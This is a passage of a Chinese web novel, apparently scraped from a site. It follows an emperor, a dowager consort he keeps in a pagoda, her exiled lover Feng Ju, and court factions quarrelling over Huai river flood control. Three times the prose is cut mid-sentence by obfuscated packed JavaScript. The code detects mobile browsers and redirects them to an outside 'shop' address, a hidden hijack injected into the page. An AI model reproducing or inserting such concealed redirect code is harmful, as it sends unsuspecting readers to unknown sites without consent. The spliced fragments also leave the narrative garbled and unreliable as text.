“娘娘,圣上不许奴婢说,但奴婢斗胆直言。早在黄家庄的时候,圣上就找到您了,但是您一心向往宫外生活,圣上乐得成全,不仅没有打扰您,还派人处处护您周全。这一回,圣上实在是动了真火,这才千里迢迢赶过来。圣上待您之心,苍天可鉴。还请您退一步,听圣上的话吧。” 乔燕眼珠子动了动,慢慢看向他,表情有些奇异。她早料到会有这么一天。她一个肩不能抗手不能提的女流,无傍身之技,生得美貌,如何能孤身在民间生活下去。她早就做好了被找到的准备…… 闭上眼,乔燕一气呵成地把汤药灌了下去。 唐直抒松了口气,道:“奴婢伺候您换衣。”等他说完,走到桌前,捧起一叠布料,乔燕这才发现那是一套太妃仪服。 过了许久,二楼房间的门再次打开,女人身着凤冠翟衣缓缓走出。她以珠帘遮面,目光冰冷,高不可攀,华丽尊贵。 唐直抒松开搀扶的手臂,跪地叩首:“奴婢参见惠禧太妃娘娘。” 楼下一众锦衣卫膝移转向,口称千岁。甚至李稷俯首作揖,说道:“儿子恭迎太妃回宫。” 众星拱月,靡靡怀光。 过去的一个半月,好似海市蜃楼,这一刻梦醒,蜃景终究要在阳光下消失无踪。 乔燕轻轻垂睫,目光藏在微阖的眼里,朝楼下扫去,看到了冯矩。一众人里,只有他还维持着跪拜皇帝的姿势,没有向她叩首。他此时在想什么呢?他是否也早就料到了这一刻?过去的一个半月,他后悔吗?幸福吗?他是抱憾于心?还是和她一样死而无憾呢? 好想回到海棠宴的那一天。她踩在树干上,一低头,就看到少年笑吟吟地望她。 梳着双螺髻的少女皱着眉,不,不要皱眉,要展颜一笑,毫不犹豫地从树上跃下,少年没有后退,张开怀抱,接住她。 话本里不都该这么写的么。 待惠禧太妃坐进马车里,李稷没有立即动身,而是无声地看着跪在脚边的人,这短短的时间里,谁也不知道他想了些什么,待他再开口时,神情已经恢复了不辨喜怒的平静,“冯子规,随朕来。” 说完,他信步走向客栈后院。冯矩没有迟疑,垂首跟了上去, 后院空无一人,客栈老板夫妇早就被锦衣卫请了出去,那个跟在乔燕身边服侍的丫头也不知道去了哪里。李稷站定,负手,抬头。他的眼前有一棵石榴树,常有百姓在院中植之,寓意着多子多福。但眼前这棵石榴树,枝枯叶脱,不似寻常的冬季枯树,倒像寿数到了尽头的光景。 因为时日无多,所以有很多事不能做,有很多的不甘心,不情愿,不愤不平,都得压在心里。一棵树也会有这些心情吗?它会不会遗憾于看不见次年春景? “你没有什么话要跟朕说吗?” 冯矩躬身回话:“臣确实有事要奏。昨日臣随庞知州勤民,途经淮水。只见去年夏季黄河夺淮,淮水水位大涨,泗州河段两侧新建堤坝,高数丈。冬季少雨,上游结冰,暂且无事,但是等到开春解冻,恐有决堤之患,”他算了算时间,道,“已是五九,离河水解冻只有半个多月,时间不多了。” 李稷不发一言地等到他说完,方忍耐地道:“你就只有这些要说?” 他实觉匪夷所思,提高了声音又问了遍:“你就说这些!?” “民生无小事,此前治水无功,请圣上防患于未然。” “朕岂会不知?”李稷忍耐地道,“朕派江知礼治水,时直深秋,雨季已过,上游结冰,水患自然消弭,他还以为是他的本事,向朕邀功。待今春水患再起,朕便能名正言顺地治他的罪。淮党失了魁首,便是一盘散沙,还有什么能跟朕争的。” 冯矩哑然,“但是圣上……” “朕不想跟你说这些!冯矩,你知过吗!?” 冯矩不得不结束之前的话题,垂首跪地。 “臣知罪,万死莫辞。” 像是被什么刺了一下,李稷猛地回身,喝道:“朕问你知不知过!” 冯矩若有似乎地笑了下:“问心无愧,何来过。” “好好好,好一个有罪无过。你好硬的骨头!朕真想砍了你的脑袋!” 只是看冯矩态度,半点不将他的威胁放在眼里,甚至开始讨价还价:“臣认罪伏诛,只是还请圣上宽宥臣半年时光。臣在崖州时看到一本《农经》,乃齐民宝书,臣想给这本书写完注释,推广至民间,可泽披万民。” “你还有脸跟朕提条件?”李稷甚觉荒唐,怒到极点,甚至忍不住冷笑起来,“倘若朕不允呢?” “那就请圣上将此书交给束阳,他会替臣写完的,”冯矩闭眼,神情平静,甚至露出几分轻松惬意,“但凭圣上裁断。” 李稷盯着他看了半晌,仿佛要把他的脸看出一个洞,终于,确认似的,喃喃道:“原来,你早就不想活了。” “生死随意,来去由天。”冯矩一直维持着跪地的姿势,此刻微微松懈了脊梁,这让他看上去有些佝偻。他抬头,直视着他的帝王,莞尔一笑:“圣上,臣活得好累啊。” 行路途中,唐直抒寸步不离地侍候着乔燕,等到中午,车队终于停下,小太监送来吃食,是一碗不知什么汤,还有米饭,看着是现炊的。 唐直抒从马车壁拉出一个矮几,摆好碗筷,笑道:“圣上出京突兀,时间紧,得快些回去,吃得不精细,娘娘将就一二。” 乔燕冷眼看他忙上忙下,等到吃食当真摆在面前了,才道:“本宫要出去透气。” 唐直抒笑意微敛:“娘娘……” “怎么,本宫是犯人吗?” 唐直抒叹了口气,轻声道:“不论如何,娘娘要保重身子,您先吃东西,奴婢去请示一下圣上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116337|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,等了片刻,见乔燕没有再开口,他才躬身出了马车。 乔燕看着喷香扑鼻的热汤,半点食欲都没有,索性闭上眼,靠着车壁,心乱如麻。 没多久,马车外传来脚步声。 她睁开眼,看到有人拨开车帘,李稷一身便装站在平地上。许是风大天寒,他脸色很是苍白,更衬得眸色如墨,深不可测。 “请太妃出来。” 乔燕定定地、挑衅地看着他,下了马车。外面果然冷,北风直往衣襟袖口钻,乔燕强忍着没有缩脖子,不逊半分气势。 “我不过想出来转转,竟劳圣上亲自过来,好大的面子。” 李稷脸色平静,连一丝波动都欠奉。他伸手自唐直抒手里取过一个朱红色的斗篷,伸手给乔燕披上。乔燕身形一僵,怒而挥手,却被李稷早有预料地截住。 “太妃脾气大涨。” 乔燕愤怒地看着他,挣着手腕。他与她对视了片刻,松开手。 乔燕没有再动作。 他这才露出些许满意之色,一边给她系领口的系带,一边道:“这里四下无人烟,不知藏着什么豺狼虎豹,太妃要散心,朕陪你走走。” 李稷又取过风帽,给乔燕戴上,正要系带,乔燕已经不耐烦地往前走去,他也只好罢休。 李稷说得不假,此处乃一片荒芜之地,不远处是连绵山脉,披着白雪,天地苍茫。乔燕走到一块巨石边,阻隔了车队那边若有似乎的探寻的视线,这才停下脚步。 “唳——” 头顶掠过老鹰,转瞬之间已去到天边,没入山群中消失不见。 “此处倒是有京中难得一见的风景,”李稷站到乔燕身侧,“朕少时就想见一见大好河山,可惜,被很多东西所困,竟然才第一次到京师之外。此番也算是托太妃的福了。” 乔燕转身面向他:“圣上。” 李稷笑意转淡,眯着眼盯着方才苍鹰消失的方向。 乔燕却仿佛失去了待人接物的耐心,一味发问:“冯矩还活着吗?” 李稷脸上的表情完全消失了,他没有动,仍然维持着微微仰头眺望的姿势,只是些微表情变化,却有了浓重的威严。 乔燕顶着压力,与他无声地对峙片刻,忽然跪在地上,艰难地启口:“所有一切都是我之过,是我逼迫冯矩与我私通,请您,求您不要杀他。” 听到她用了“私通”这样不入流的词,听到她承认这一切是“过”,李稷莫名笑了起来,他笑的幅度越来越大,最终却僵硬在脸上。这些话他本想从另一个人口中听到,但那人宁死也不改口。而她,他什么都没有问,他本不想逼问她,她却就这么认了错。 他低下头,看着乔燕乌黑的发髻,也屈膝蹲了下去。他倾过身,抬起了面前女人的下巴,拇指揉上她的嘴唇,声音轻柔:“太妃知过就改,朕便不会动他。可好?” 乔燕闭上眼,脸色苍白,在他的抚摸下战栗起来,但这次她没有挣开他的手。她甚至点了下头。 情绪激烈到极致就成了一片空白,李稷只知道愤怒和嫉妒的烈火快将他烧成灰烬,他指下忍不住用力,将她的嘴唇柔成鲜艳的红色,恶毒地问:“他亲过这里吗?” 乔燕却没有被羞辱到,反而笑了起来:“当然。不止这里。” 最后一根理智的弦骤然绷断,李稷另一只手握住她肩膀,将她压在巨石壁上,狠狠地吻了上去。 身前的女人身子僵硬,却分外顺从,不仅闭上了眼,还抬手揽住了他的腰。 她还是没有挣扎。她竟然没有挣扎!她凭什么不再挣扎!! 李稷猛地松开手,站起了身,面色铁青,大步往回走。 乔燕心里一慌,来不及细想,飞快地拽住他袖子。 “你要做什么?” “我这就去砍了他!” “不。你不能!” “我为何不能?”李稷冷笑,摔开她的手,“他轻薄太妃,羞辱宗室,十个脑袋都不够砍的。” 乔燕耳里嗡的一声,在反应过来之前已经握住了李稷的手,凑上前,紧紧箍住他的腰。这个动作在旁人看来,就好似她投怀送抱。 李稷僵在原地。 “别去,别杀他。一切都是我之过,我愿意做任何事偿罪。” 乔燕抬起头,眼里水色盈盈,李稷看进去,只觉坠入深潭,永远都落不了底。 乔燕端详着他的神色,知他难以拒绝自己:“西苑有个道观,离你起居之所很近,我就在那里陪你,好不好?” 55. 宝塔 西苑的东北方有一座破败的道观。正门处的牌匾上书“问天观”三个金字,乃是昔年齐慜帝御笔亲赐。 五年前,这里还香火鼎盛,道士们来来往往,琉璃瓦锃然生辉。文景三十九年,道士们被年迈的齐慜帝砍了头,香火遂绝,人去楼空,红漆褪色,鬼魅之语于宫人间窃传,此地渐成禁所。 穿过两进院子,来到道观的最后面,有一高耸的五层宝塔,是名“通天塔”。 不似前观荒颓,这里洒扫洁净。塔下新栽了梅林,傲雪而放,将此处衬得如世外桃源般幽静。 唐直抒提着漆盒,迈过地袱。 塔里燃着数百盏灯烛,比外头的天光还要亮堂。一楼无人,通往二楼的楼梯上,有个宫女抱着掸尘,坐在最下面第二阶打瞌睡。 “咳咳。”唐直抒清了清嗓子。 齐思嘉吓了一跳,猛地站了起来,挥舞着掸尘:“我,我在打扫……唐公公?您怎么来了?” 这时候她脑子才清明几分,意识到自己问得不对,讨好地笑了笑:“您来找娘娘吗?她在楼上,我去给您通报。” 唐直抒点了点头,堂堂司礼监掌印,竟听了小宫女的话,果真由她跑上去,自个儿在下头等着。 过了会,齐思嘉下来。她今年一十有六,比从前稳重多了,一阶阶楼梯走得又稳又疾。 “娘娘请您上去,她在三楼。” 唐直抒“哎”了一声,提着漆盒上楼去。齐思嘉没有跟从,重新拎起掸尘,一边拂去楼梯扶手上的灰尘,一边好奇地朝上张望。 唐直抒一口气爬上三楼,微微有些气喘,站在楼梯上平复了一会,才躬身走进塔阁内。 此处做成起居室的模样,东西方向摆着一张宽大的拔步床,四周以绡纱作帷,宽阔的书桌面北而置,桌前放着软垫,桌上仅有一本书、一盏灯,除此之外,整个塔阁再无旁的物什。 墙壁呈环形,对称地开了八扇门,可通向塔外的圆形回廊。 此时七扇门都紧闭,唯有面西南的门大开,风呜呜地撞进来,床帷飞舞,檐下铜铃叮当不歇。 唐直抒把漆盒放在桌上,四下环顾,没找着人,便向开着的门走去。果然见到那位娘娘盘膝坐在廊下,身上裹得密不透风,只露出苍白的小脸,一动不动地看着外头发呆。 这里建得高,可以远眺整个京城。这里也很冷,风比别处都要厉,唐直抒才刚站出去,就感觉浑身的热气都被带走了。 “太妃娘娘,奴婢给您请安。” 乔燕动都懒得动一下,若非唇边还能看到呼出的白气,她现在的模样甚至让人怀疑是否是个冰雕玉砌的假人。 唐直抒苦苦相劝:“外头风大,不可多待啊,娘娘,您要保重身体,还是进屋子去吧。” 可惜乔燕对他还是爱答不理,唐直抒只能拉下脸,责问守在旁边的宜婵和于海:“你们就是这么照顾主子的吗?回头圣上知道了,定要治你们的罪!” 乔燕站了起来。 因冻得太久,腿脚发麻,膝盖无力,她一个踉跄,吓得奴婢们赶紧伸手去扶。乔燕下意识搭住一人手臂,等稳住身形,发现是唐直抒,便露出一个晦气的神情,“啪”的一下拍开了。 宜婵恰到好处地挤开唐直抒,握住乔燕的手,搀她入了室内。 唐直抒苦笑连连,跟在后头,阖上门。 乔燕坐在床沿,不动,不语。 宜婵和于海一左一右站着。 倒是唐直抒,权势滔天的内相,跟个小奴婢似的,跑前跑后地忙活——他先是检查了门窗是否紧闭,又点上四壁的蜡烛,再来到床前蹲下,添新炭至火盆里,眼见着烧得旺了,将乔太妃的脸庞烘得红扑扑的,才笑呵呵地直起身。 “娘娘,您鼻尖冒汗了,这裘衣,奴婢伺候您脱下吧。” 没有回应。唐直抒也不恼,打开桌上的漆盒,仍然拿热脸贴冷屁股:“娘娘,这是尚膳监新做的栗子糕和糖蒸酥酪,奴婢记得您从前爱吃,特地带来,您尝尝看? 乔燕瞥了一眼,兴致缺缺。 唐直抒不死心,又打开下一层,“哎哟”笑了起来:“您看奴婢给您带什么来了?新的话本,《容姑成仙记》!据说是您在民间时候喜欢看的,当时只出到第十二回,这是后面的续集。” 乔燕唇角一翘,终于开了口:“怎敢劳动唐掌印。您有什么事便直说了,我这里容不下您这尊大佛。” “娘娘,唉……”唐直抒笑意慢慢变得苦涩,“那位可是大齐的天,谁能拗得过他去,您是自个应承了住在这里,又何必这样呢……您这般,圣上不痛快,您更不痛快……” 乔燕嘴皮动了动,似乎想驳两句,但话到嘴边,终是意兴阑珊,于是只是很平淡地道:“若无他事,你回吧。” 唐直抒看着她这般了无生气的模样,鼻腔骤然一酸。 这位娘娘是他亲手带进宫的,也是他亲眼看着,迅速地扎根生长,用旁人难以想象的坚韧和智慧,生存至今。 可这次从宫外回来,她好像只带回了一部分的自己。 听闻在遥远的河西,有着无垠的沙漠,沙漠里的植物艰难地生长,一部分深深扎进土壤汲取水分,一部分努力对抗阳光。 有一天,忽降甘霖,那株植物获得了梦寐以求的快乐,死而无憾,于是再重回干旱时,她慢慢合拢自己,沉湎于那段欢愉的时光。 她把一部分自己永远地留在了那里。 “娘娘,万事总会过去的,人要往前看啊!” 唐直抒这声喊得情真意切。忽然的,一声啜泣在床边响起。乔燕愣愣地抬头,看到宜婵猛地捂住嘴,露出的眼睛通红,流露着无限悲伤。 乔燕后知后觉地想起来,当初在逃命途中,土地庙里,她对宜婵说过一样的话。 可直到现在,她才体悟,原来说话的人才是不痛不痒……世上诸般事,如人饮水,冷暖自知。 “我,我没事,”乔燕有些无措,她勉强笑了一笑,拉过宜婵的手,再次保证,“我没有事。” 她打起精神,再次问了一遍:“唐公公,您来这里除了给我送东西,还有别的事吗?” 唐直抒轻叹一声,纵使再怜悯,也不敢显露分毫,“娘娘,奴婢奉圣上命前来……圣上他今夜过来。” “我知道了。” “那……奴婢告退了。” 夜深,宫门落锁后,皇帝李稷来到塔下。 因着某些不可告人的心思,每回他来此,都只带着唐直抒。塔外无人,每次他要来的夜晚,乔燕都会提前打发奴婢们离开。不过李稷不在意这些,他吩咐唐直抒止步于塔门外,独自一人进去。 塔内也空无一人,千盏蜡烛亮如白昼。李稷踩着木质楼梯,每一步都发出轻微的声音,那声音渐渐往高处去,最终在第三层停了下来。 塔阁内,四周大门洞开,冷风穿堂而过,将帷幔吹得乱舞。 一道纤长的身影立在西南角,倚在门框上,孤零零朝外面看。 她也不知道吹了多久风,手脚都冻得没了知觉。忽然的,一双手臂自身后横出,揽住她的腰,将她捂进宽阔温暖的怀抱。 她思维有些凝滞,迟疑了片刻,才轻声道:“圣上?” “嗯,是我。你这里的奴婢呢?” “我没要他们留着,我一个人等您就够了。” 这句话似乎取悦了身后的男人,他轻笑了一声,“怎么开着门?” “想透透气。” “是不是闷太久了。明日朝会后,我陪你去西苑里走走。” “不用,”乔燕一口回绝,懒洋洋道,“我不想出去。” 身后的人顿了一下,说道:“是我忘了,你肯定看腻西苑的景色了,这样吧,等过些时日,我带你去繁园泡温泉。你前段时间总是发烧,泡温泉对身子好。” “不用。”乔燕还是这么答道,这一回,甚至连解释的话都懒得说。 男人沉默了,箍在腰间的手臂一下子收紧,头顶的呼吸似乎也有些重。他没再说话。紧接着,乔燕感到耳朵似乎被咬住了,灼热的气息在冬日里像烙铁一样烫人。 她软下身子,把全幅重量都丢给身后的人,闭上眼,瓮声瓮气地道:“圣上,今天带了什么来?” 腰间手臂松开,李稷自袖子里摸出一封奏本,塞进她手里。乔燕不得不站直些许,打开奏本扫了眼,面露茫然:“右都御史江知礼?” “是。江知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116338|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼今日上奏请罪,道是去岁浚洪有误,留下隐患,若是开春,上游大河解冻,春汛来临,怕要一泻千里。他还在奏本里说,立春就在眼前,现在召集民夫修建水利防洪为时已晚,只能先疏散淮水下游的百姓,等春汛后再挖河道疏水分洪,如此才是长久计。” 乔燕根本懒得思考,顺着他的话道:“江大人心系百姓,谦卑本分,是好事呀。” “但是江知礼乃淮党魁首之一,他本来并没有意识到春汛之患,朕本欲等发洪后,治他一个好大喜功、草菅人命的重罪。” 乔燕疑惑地偏了偏头:“江大人这不是意识到了?” 李稷道:“你知道是谁提醒的他吗?是冯矩。” 说到这个名字,胳膊下的腰身忽然绷紧,李稷顿时感觉自己像吞了刀子,内脏隐隐生疼。 他语调倏地转冷:“在泗州的时候,朕就告诫过他,不要插手此事!但他竟就这么违逆朕,帮江知礼弥祸患于未然!朕本可以一举摧倒淮党,如今全被冯矩搅乱了。” 乔燕眼皮子颤了颤,难以理解:“他不是为了结党,他是为了淮水下游的百姓。草菅人命的,不是您吗……” 李稷淡道:“是。我之罪过我不会否认。但淮党不除,新政难行,受苦的是更多的百姓。此举虽显残酷,却是为了刮骨疗毒,如果冯矩没有插手,半年内朕就可以除去淮党,肃清积弊,革故鼎新,届时,大齐就可起死回生……” 一直以来,李稷展现出来的都是一个仁君的形象,这样冷酷的话令人难以想象出自他口,乔燕艰难地道:“您不是已遣人查淮盐案,他们就快抓住淮党的尾巴了,早则一年,迟则三载……” “我等不了三载!” 李稷失控地喊道。 一阵北风呜呜刮过,冻得乔燕一个寒颤。檐下铜铃催魂一般急促地响了起来。 她陡然惊醒,咽下了剩下的话。 顿了片刻,她转过身,搂住他的脖子,依偎在他怀里,言笑晏晏:“这里可瞰整个京城,明月在天,幕天席地,岂不正是良辰吉时。” 说完,不等李稷有什么反应,她垂眼吻住他的喉结。 环在腰上的手臂僵硬不动,慢慢的,软化了力道。 这个世上最尊贵的男人,无声又凶狠地回应了她。 门没有关,他们就这样在高高的塔楼上,俯视着整个皇城,悖了天地人伦。 她一直闭着眼,温顺地任他摆弄。但他并没有什么花样,只是一直把她搂在宽大的衣袍里。她几乎感受不到汹涌的寒风。 也不知是哪一刻,耳边听他哽咽:“你能不能看我一眼,太妃娘娘,求您了……求您疼我一回……” 她茫茫然地睁眼,对上他的眼神。那一瞬,她有些头皮发麻,下意识低下头,抱紧了他。 为什么呢?她想。明明他掌控着她,可为什么又乞怜与她。为什么他能露出这样痛苦的眼神。他不是换到了愿想之物了吗? 事矣,李稷抚摸着她的头发,感到她手脚仍然冰凉,于是把人抱回床上,披衣起身,纡尊降贵地转了一圈,关上所有门,然后来到床边蹲下,给火盆添上新炭。 乔燕支着身子趴在床沿,歪着头,看着他动作,“噗嗤”笑了起来。 李稷看她笑,不由也跟着露出一个柔和的笑。 “怎么?” “下午,唐直抒也做了一模一样的事。狗似主人形。” 李稷的笑僵在脸上,他忍了片刻,面无表情地在床沿坐下,双手置于膝上。 “乔氏,住在这里乃是你心甘情愿,我没有逼你。” “对不起,是我说错了话,我没有什么意思,就是想到了……”乔燕不以为忤,连动作都懒得换一个,还是那个趴着的姿势,微微仰起下巴,朝他露出水润的杏眼,“我以后不说了。” “我……” 李稷只吐出一个字,沉默了下去。 他拉过被子,搭在她裸露出的肩上,手轻轻按在上面,过了会,才说道:“冯矩……” 乔燕眨了眨眼,有些困倦了,安静地听着。 “冯矩此举是为了百姓,我知道,我不会治他的罪。但这是最后一次了,再有下次,我再不会轻饶。” 56. 争执 启正三年的治水钦差江知礼,上奏称,去岁治水不利,恐有春汛之虞,无颜面对百姓,欲辞官还乡。 奏本三辞三驳,启正帝允准其将功折罪,弥补失职之过。 三月中旬,在凤阳府知府的帮助下,江知礼疏散淮水下游泗州及辖下两县的百姓,安置于相邻的宿州、灵璧等县。时人安土重迁,数千人背井离乡是何等悲苦之事,惹得物议纷飞,民心离散,加上连年雪灾,收成减半,朝廷信度降至冰点。 皇帝为此大发雷霆,在朝会上把江知礼及凤阳府一干官员骂得狗血淋头,罢黜了四个淮党官员,这才稍有罢休。 “江督御史,朕看你是三朝老臣,才对你颇为容忍。若是寻常官员犯下此等重罪,朕早就砍了他的头!如今与灾地区的百姓俱已疏散,此乃治标之策,朕要你务必想法子治本!” 江知礼岂敢说个不字:“臣叩谢圣上不罪之恩,臣定当殚精竭虑,防治水患。” 朝会后,十数个身穿红紫补服的大臣,聚集于承天门外都察院衙门内,商讨治水事宜。这里头有工部和户部官员,也有官职看似与治水无关,但祖籍淮地的官员。 屋内摆着一张硕大的书桌,两排官员相对而坐,官职略低的上不了桌子,就坐在靠墙的椅子上。 江知礼面门坐在上首。他落座后,没有立即开口,而是摸过手边茶盏,把前一天的冷茶灌了个干净。 春寒料峭时分,冷水下肚,七分火气也消去了三分。 这时,一位身形圆胖,须着八字胡的中年文臣在左边第二位坐下,屁股还没挨上椅子,手已经重重拍上了桌面。 嘭! “哼!这皇帝小儿,今日借机黜了四人,全都是咱们的人,真是欺人太甚!江部堂,您年前那差事办得虽谈不上漂亮,但也没有出差错,年后的洪水,干你何事,你担下来作甚么!要你做这出头的椽子,平白害得我们折损人口。” 左边第一位的大臣左副督御史宋瑜朝他瞪眼,斥道:“噤声!” 八字胡有些不服气的样子,却还是闭了嘴。 桌子下头还坐了两个不着官服官帽的白丁,便是今日朝会上被皇帝当众褫夺官身的工部官员。屋内其他人还好,最多脸色凝重,只这两人,神情灰败,听了八字胡的话,他二人更是面色激红,隐露不忿。 屋子里静下来,江知礼这才把掌心摩挲得微微发热的瓷盏搁在桌上,扫视过众官员,语速平缓,语调微寒:“圣上即位后,一直有革新的念头,只是那些所谓变革实乃异想天开,若要施行,别说我们,普天之下臣子和贵胄都不会答应。去年束阳回京,亳王就藩,那时起,圣上动作就大了起来,隐隐有拿留都淮地下刀的意思——圣上这是要杀我们,儆猴呢!” 说了一长串,他有些口干,停了下来。宋瑜抻袖提过茶壶,另翻过一只干净的茶杯,为他倒了杯茶。 屋中一时无人说话。 热气蒸腾,江知礼端着茶碟,撇了撇茶沫,嗅闻几息,重新开口:“去年治水虽未出差错,但隐患确在,若等春汛爆发出来,便是递了把好刀子给圣上,届时,黜的可不仅仅只有四人了。” 说到这里,他对座下两位白丁说道:“今次,你们是因我而丢官,且放心,只要我们还在,总有重新回来的时候。” 那二人得此安抚,这才定下心神,直称不敢。 左副督御史宋瑜拱手起身,说道:“不关部堂的事,年前治水全赖我,部堂当时染了风寒,本已周详治水之策,交由我负责,是我办事不利,目光短浅,落下把柄。” “不怪你。” 宋瑜主动担下罪责,是为了抬举江知礼的声望。江知礼心里受用,看他一眼,面色稍霁,抬手按住他胳膊,示意他重新坐回去,“此时怪谁都无用,现在召集大家来此,还是希望能拿一个治水良方。” 工部官员这才有开口的机会。 一位去岁参与治水的侍郎摸着胡须,叹了口气:“难啊。黄淮之患,患在千古,若想根治,岂是朝夕之事。圣上动动嘴,就要我们解决这事,这不是白白为难我们。” 宋瑜抬手:“术业有专攻,于侍郎,请细说。” 于侍郎揪掉两根胡须,疼得咧嘴:“水患根源,在于黄河。其水浑浊,中下游泥沙淤积,河床抬高,致使洪水频发。前朝起,便多用‘束水攻沙’之策,借洪泽湖清水冲刷黄河泥沙,初时见效,然此乃治标之法。洪泽湖水位因之连年上涨,大坝被迫不断加高,俨然地上悬河。开闸泄洪却又水速减缓,致使下游泥沙淤积更甚,如此恶性……” 八字胡不耐烦地打断他:“不要说这些听不懂的,你只要说,可有治本之策?” 江知礼微微颔首。 十数双眼睛盯着于侍郎,于侍郎又忍不住揪住胡须,讷讷说道:“呃,如只是要治水,其实不难,无非筑坝、分洪、疏水,但……但如此一来,恐怕会影响到漕运……” “漕运一动,我等立成无根之萍!”一名官员猛地拍案,声色俱厉,“于侍郎,你可知你在说什么?!” 漕运,那可是淮党的根基。皇帝大费周章,派人巡按淮地,纠察盐司,根本目的也正是为了肃清漕运,打压淮党,获得变革的话语权。 于侍郎上下嘴皮子一碰,倒是省了皇帝的事,将南直隶的利益拱手让人。 众人怒目而视,于侍郎满头大汗,一时也分不清是谁,只得干笑着闭了嘴。 江知礼却若有所思,眉头紧锁,仿佛明白了什么,喃喃:“原来如此……” 他声音太低,只有手边的宋瑜听到,却没有听清。宋瑜低声问:“您说什么?” 江知礼醒过神来,用正常音量说道:“春汛水情,乃钦差大臣冯矩私下提醒我。” 江知礼突然吐出的这个名字,在座下引起一阵窃窃私语。 “这冯矩是……?” “原来是他……” 有不少人对身边的同僚表示疑惑:“江部堂突然提这人作甚么?” 冯矩已淡出中央朝堂多年,在座的大臣虽然还记得有这么个人,却都只有大概的印象——这人短短一生,倒也堪称跌宕:年少成名,弱冠状元,是前前任首辅冯忱的孙子,杀死前任首辅束继文的凶手,被启正帝流放远地,无人问津。 去岁,圣上派钦差巡按南直隶,也不知是不是无人可用,竟起复了冯矩此人。 也是那时起,冯矩才重新回到众人视野。 但冯矩虽为钦差,却没有什么大的功绩,走过几个州县,与当地官员其乐融融,遇事轻拿轻放。 一开始,还有不少淮党官员对其心存警惕,时间过去这么久,渐渐不把他当成威胁。 座下有人出声道:“这位冯钦差不可小觑,在赣榆县时,不仅抓了县令章承,而且城中富商均被其抄了家。章承不久前被押送回京,听说途中遇到土匪,后来不知所踪。” 这便是冯钦差唯一引人注意的事了。 不过冯钦差能有此功绩,非是新官上任,要和地方官员杠到底,乃是因为,那章承草菅人命,被百姓告到钦差脸上,可谓是白捡的功劳。 至于此事内情,屋里的诸位淮党官员们,该知道的人都已知晓,不知道的人则只道章承犯蠢活该,现在突然听人提起,方知似乎还涉及党派之争,只得一头雾水。 又有人语出惊人:“听闻,他在途中救了乔家那位赐字太妃,二人关系匪浅。” “我倒是记得,那位太妃入宫前,好似曾与冯矩有过婚约……” “咳,竟有此事?我等怎么从未听闻?” “谣传罢。那位乔太妃至今也没有消息,不是听闻早前就……遇害了么。” 江知礼抬手,止住偏了十万八千里的话题。 “冯矩此人,我本不欲信,但那日他冒夜来访,言及淮河下游百姓,句句肺腑,字字恳切。我观其情切,以为他却有为民之心,这才信了他的话,主动向圣上提出春汛水患……却没想到,原来他在这里等着我!” 说到此处,江知礼被人戏耍的愤怒涌上心头,大声道:“若要根治水患,就要主动放弃漕运,开海运?哼!他们休想!” 一时鸦雀无声,良久,才有人小声问道:“那这治水之事……” 江知礼目光如炬,刺向工部侍郎:“于侍郎,不提根治之策,只说避过今年水患,你看可有法子?” 于侍郎心里暗叹一声,起座向四方拱手,说道:“那便继续束水攻沙,蓄清刷黄。等春汛过后,征民夫,加固高家堰大坝,只要在秋汛前竣工,倒也能保一时无虞——不说今年,几年也还是保得的。” 此话一出,四下都松了口气。 于侍郎迟疑片刻,还是咬牙道:“但是……这样一来,洪泽湖水位年年上涨,泗州城岌岌可危,恐怕要不了几年,泗州城就要作为泄洪之地,淹没于大水之中了……” 没等江知礼开口,宋瑜轻松笑道:“当务之急,先解决今年水患。于侍郎所说,也不过是猜测,这水情年年不同,未必会走到那般绝地。” 江知礼也点头,站起身:“含圭所言,方是老成谋国之策。便依此议,具体事宜,由你与工部速速商议。” 宋瑜起身行礼:“是。” “回吧。” 说完,江知礼大步走出屋门。 宋瑜紧紧跟上,到了江知礼日常办公的小舍,关好门,不待坐下,宋瑜便脱口喊道:“老师!” 若是往常,在衙门内,宋瑜万万不敢徇私,称呼江知礼为师。但此刻他心乱如麻,江知礼也满头思绪,无人纠结于此。 江知礼没有坐下,而是走到窗侧,大开窗户,任寒风往屋子里头刮。 宋瑜若是冷静下来,就能发现他老师心里远不如表面上那般不平静。 但他此时心无遗力。他从东踱到西,又从西踱到屋子中央,最后站到江知礼身后,道:“老师,您糊涂啊,怎么能信那冯矩之言!您是不是忘了当年冯家的‘盐运贪银’案……” “含圭!”江知礼大喝。 宋瑜心神一震,讷讷住了嘴。 “当年之事,早已盖棺定论,乃冯家失德!”江知礼老目如鹰,盯紧自己沉不住气的学生,“就是其中有冤,也是前东厂提督,阉贼董玉莲一手遮天,与我们何干!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116339|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是,是……” 